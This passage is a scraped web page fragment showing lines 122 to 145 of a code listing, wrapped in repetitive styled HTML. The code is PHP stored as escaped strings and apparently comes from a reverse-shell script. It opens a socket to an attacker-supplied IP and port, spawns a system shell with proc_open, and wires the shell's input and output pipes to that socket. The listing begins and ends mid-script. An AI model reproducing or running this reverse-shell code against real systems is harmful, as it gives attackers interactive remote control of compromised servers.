<DIV class="line number122 index121 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"} else {\n" \</DIV>

<DIV class="line number123 index122 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; printit(\"WARNING: Failed to daemonise.\");\n" \</DIV>

<DIV class="line number124 index123 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"}\n" \</DIV>

<DIV class="line number125 index124 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"chdir(\"/\");\n" \</DIV>

<DIV class="line number126 index125 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"umask(0);\n" \</DIV>

<DIV class="line number127 index126 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \</DIV>

<DIV class="line number128 index127 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"if (!$sock) {\n" \</DIV>

<DIV class="line number129 index128 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; printit(\"$errstr ($errno)\");\n" \</DIV>

<DIV class="line number130 index129 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; exit(1);\n" \</DIV>

<DIV class="line number131 index130 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"}\n" \</DIV>

<DIV class="line number132 index131 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$descriptorspec = array(\n" \</DIV>

<DIV class="line number133 index132 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; 0 =&gt; array(\"pipe\", \"r\"),\n" \</DIV>

<DIV class="line number134 index133 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; 1 =&gt; array(\"pipe\", \"w\"),\n" \</DIV>

<DIV class="line number135 index134 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; 2 =&gt; array(\"pipe\", \"w\")\n" \</DIV>

<DIV class="line number136 index135 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">");\n" \</DIV>

<DIV class="line number137 index136 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$process = proc_open($shell, $descriptorspec, $pipes);\n" \</DIV>

<DIV class="line number138 index137 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"if (!is_resource($process)) {\n" \</DIV>

<DIV class="line number139 index138 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; printit(\"ERROR: Can't spawn shell\");\n" \</DIV>

<DIV class="line number140 index139 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; exit(1);\n" \</DIV>

<DIV class="line number141 index140 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"}\n" \</DIV>

<DIV class="line number142 index141 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"stream_set_blocking($pipes[0], 0);\n" \</DIV>

<DIV class="line number143 index142 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"stream_set_blocking($pipes[1], 0);\n" \</DIV>

<DIV class="line number144 index143 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"stream_set_blocking($pipes[2], 0);\n" \</DIV>

<DIV class="line number145 index144 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"stream_set_blocking($sock, 0);\n" \</DIV>

